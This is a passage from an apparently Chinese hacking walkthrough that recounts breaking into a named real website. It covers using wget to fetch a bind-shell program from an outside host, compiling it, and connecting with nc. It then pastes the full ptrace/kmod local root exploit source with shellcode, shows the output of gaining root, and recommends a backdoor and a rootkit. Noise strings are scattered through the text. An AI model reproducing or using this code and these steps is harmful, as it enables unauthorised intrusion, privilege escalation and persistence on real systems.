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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,3 f3 h8 R5 U2 r3 `& n: }& p
就可以用wget这个命令来下载了,输入 ) M2 @' Q2 v5 x- I
wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思' H4 G6 @/ u- d; {3 C' ?
就是下载这个shell.c到/tmp目录下,如图6
$ i0 P& b/ T9 ~5 T) |然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
1 N$ F7 a1 V& X+ v) P! G5 ?' Y) _2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs" K; x1 T7 F7 w( _; u3 M6 q8 z
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天
& p2 Y) ?% [7 X& N. A3 f: H" U. U4 B在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果
! U% D9 u7 s Z8 r[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain6 Z, ^( I* m0 g
12gcc: /usr/bin/gcc T9 c% ]' {6 r4 |) C$ ~
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind, p" D" C$ s) s& p9 U
编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
+ T. u5 A" C. N0 j/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我2 O; T; k" k( {0 N( S. y/ ?
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000 ]) Q( ~. o v. Y1 _+ y
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
, y; R, J+ X: C, o1 g3 m呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,
# O! `/ \3 S+ k- F( KNote: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000
3 O4 t/ p' V/ i ?5 G4 L; B+ ~(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*# @# p; Q' W# E: a& ?- g1 J! z' ]8 O
* Linux kernel ptrace/kmod local root exploit
/ N, x! t& _/ U- K. Y*) \" A, u) B, g- P N/ s
* This code exploits a race condition in kernel/kmod.c, which creates' e0 o/ R2 t/ R8 _
* kernel thread in insecure manner. This bug allows to ptrace cloned# u3 `4 q. n" Y% C. H' } J% C
* process, allowing to take control over privileged modprobe binary.
9 I; {* t/ B( M1 U*
1 {$ E) ?) y; z* Should work under all current 2.2.x and 2.4.x kernels.# W& S5 a: X/ a9 m j5 P' ]
* 2 n) p, i: r$ i% n7 a
* I discovered this stupid bug independently on January 25, 2003, that - I6 d) C9 L/ a" ]8 ]! }! Z
* is (almost) two month before it was fixed and published by Red Hat
4 _6 `4 R' q! ~4 m+ G1 L- C# h* and others.
6 z9 P+ }; x2 h8 a9 `2 I* % [) Y. i3 |7 r9 z
* Wojciech Purczynski <cliph@isec.pl>1 e/ l8 s+ @% g$ ?$ A3 I- l
*% R, \# C- `) ?
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
( d( \0 `* I% X7 T2 Q% R. U j/ U* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
! }4 }3 u/ Y. s, g U3 j+ c( E* ; J2 {; F! V, p; L4 F" J
* (c) 2003 Copyright by iSEC Security Research0 M9 P/ l2 K; e# v
*/ #include
/ g( L: w4 Z" M9 q) ~#include
1 I, E5 W5 k0 S. F {#include
# E% `: v n2 `2 S#include 1 U; ]3 ~* c, J+ e a$ ], s8 m- X
#include
. @: {; a# g1 Y5 g6 u1 f#include 6 H3 n) \3 T* T+ n# H
#include
" _$ D# O6 z2 L7 k# Y8 \#include
5 Y4 ]" l8 h7 w/ n' p' u4 v+ E: }#include
5 u( d+ V9 Z# s& s; T7 g. P#include
" ^, Q! i/ E3 O& H2 _( }#include . J+ }# T+ d, d, a' ]4 j
#include
+ }) \1 @2 \) {. T0 v#include * M1 u9 P+ }) I- ^
#include 8 ~4 c7 h: t; m: l! z2 i+ R/ z
#include # [/ d" l& R# X
#include char cliphcode[] =! K6 i' k' _- }
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"/ G& L* |( t n7 Z0 F
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
2 M v7 W. \/ P1 R" r"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"* H7 U" [, y$ {* l( }* w
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
9 ~, t4 c N; v1 c G$ N5 b"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;3 _6 T! F7 {" L+ A E
pid_t child = 1;
# I( t9 H( r9 v" gpid_t victim = 1;
/ M0 O8 g; e( Z4 ?, ivolatile int gotchild = 0; void fatal(char * msg)& w, E2 R0 u0 p; p% R
{+ a7 A8 P* q: ^8 Q
perror(msg);
% C$ i' c7 U( w- M1 j' n+ `$ Hkill(parent, SIGKILL);
: h6 _& T! s2 k, V5 p0 q+ m( ykill(child, SIGKILL);$ r$ x) a4 J! [2 j, d' K! N/ V& n; Y
kill(victim, SIGKILL);
# \) ]1 _; c1 B$ E* I1 e6 Q: I} void putcode(unsigned long * dst)0 a. H* k. d/ V2 f, L/ g6 Q. l; K" e
{
% Y; k: s# I# c1 `# mchar buf[MAXPATHLEN + CODE_SIZE];
# t+ T- X( h. _, R. M* aunsigned long * src;
J- i) S- b% h3 C ]. o. P7 Yint i, len; memcpy(buf, cliphcode, CODE_SIZE);( K% n$ i ^. K+ E# Z- G# b
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
o4 I3 N5 r+ R0 Z( Tif (len == -1)2 w7 l% n2 D; g7 J9 {5 Q' J# `% ?# z
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;9 k% u4 B" n( |# [' w9 d
buf[len] = '\0'; src = (unsigned long*) buf;1 d( C4 f* a m) S% x2 |* D
for (i = 0; i < len; i += 4)
9 p* N) K( R% n. j7 S* Oif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) c" ?$ }1 S1 s% Y
fatal("[-] Unable to write shellcode");
; m5 c% ~4 z: U; S" q1 {9 y} void sigchld(int signo), q* n, j. k4 O1 R @
{8 H* K) Y( J- v+ y2 i
struct user_regs_struct regs; if (gotchild++ == 0)
/ t0 |. I8 M, z/ ]. R- Sreturn; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
* C+ E# _* c; i9 n: nfatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
: r0 L5 t* x* lfatal("[-] Unable to detach from victim"); exit(0);0 b# I. j* \0 R% e) r }
} void sigalrm(int signo)
* j3 s1 C' ?( o( B1 m# ^+ H{1 P( W. {& i! l: L4 o0 ]3 ~: r
errno = ECANCELED;
( m8 p% p! r; R% [3 L9 Wfatal("[-] Fatal error");
5 G# `, X- L6 G9 K) X Y6 G} void do_child(void)+ }$ }3 {$ X7 B: W6 y" b6 d
{
( @( E8 |. g& |# `0 P0 k, jint err; child = getpid();+ Y; X; H0 }( \$ M
victim = child + 1; signal(SIGCHLD, sigchld); do
9 ]3 y+ Z2 @% a9 m. {0 ~: Zerr = ptrace(PTRACE_ATTACH, victim, 0, 0);% r- v9 t, d+ v9 J
while (err == -1 && errno == ESRCH); if (err == -1)) G9 o7 L, g! L; h
fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
! U( C( A/ e' v1 Twhile (!gotchild) ;- o; x8 L U, \. i% Q: \
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1). J9 ]$ ^' R& m9 I& J
fatal("[-] Unable to setup syscall trace");/ o4 M$ Z9 k! y5 l2 f8 _
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);
. d% p K# S' j" s# x( l. n8 s} void do_parent(char * progname)$ L& p: L: \5 P7 V, ~* Z
{
' O; D8 A- p/ N$ [) xstruct stat st;2 r3 `/ [# Q0 ~! _& W: r' d( i; \) c
int err;" c3 m! M: ~1 e
errno = 0;
S3 k1 g# p% j( v& T: l3 A3 Esocket(AF_SECURITY, SOCK_STREAM, 1);
! O% G6 A& L5 J+ V( Fdo {
% \8 P t3 Y( @, z* ^' eerr = stat(progname, &st);4 k! D2 C H0 [) [' p
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)4 U! j+ `. q+ D$ ?' R, h
fatal("[-] Unable to stat myself"); alarm(0);
0 t' A; j; {& b4 R! Jsystem(progname);
& p# c9 e0 W8 ~2 ]# G% M} void prepare(void)
$ L# m0 M2 l$ f{
' G2 r* d( [4 j: E* E5 v0 G1 Gif (geteuid() == 0) {) W8 ?4 F7 T; v, B6 R
initgroups("root", 0);
; E- s% j( u' j- I7 ]: Ksetgid(0);
# \$ P4 ~( T. y+ |9 wsetuid(0);
% E4 ]3 H4 n. p' ^execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
' h: X* s: k! k, l! }& Ffatal("[-] Unable to spawn shell");
3 i; G [/ H) q/ J, r}- z6 e1 d- }0 |
} int main(int argc, char ** argv)
* u, ~! a- L- t# l. [{0 o1 |4 X( I- T. j' x' N5 E
prepare();2 l# X; }' p. C
signal(SIGALRM, sigalrm);
+ {7 R& j# |: P" N+ A% ?alarm(10); parent = getpid();4 F! t8 w' s: {9 E" b7 j' ^
child = fork();
; P; A8 X+ X @# G. ], i1 d8 z2 bvictim = child + 1; if (child == -1)9 h' x+ I# f5 Z8 B( d- y
fatal("[-] Unable to fork"); if (child == 0). J5 m% P; ~$ W0 n
do_child();! V" ^( z* [" O# }9 C9 Q
else
2 P& @$ z q c; [ m/ udo_parent(argv[0]); return 0;
) M) x7 R" ~+ p9 y. ^( a}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |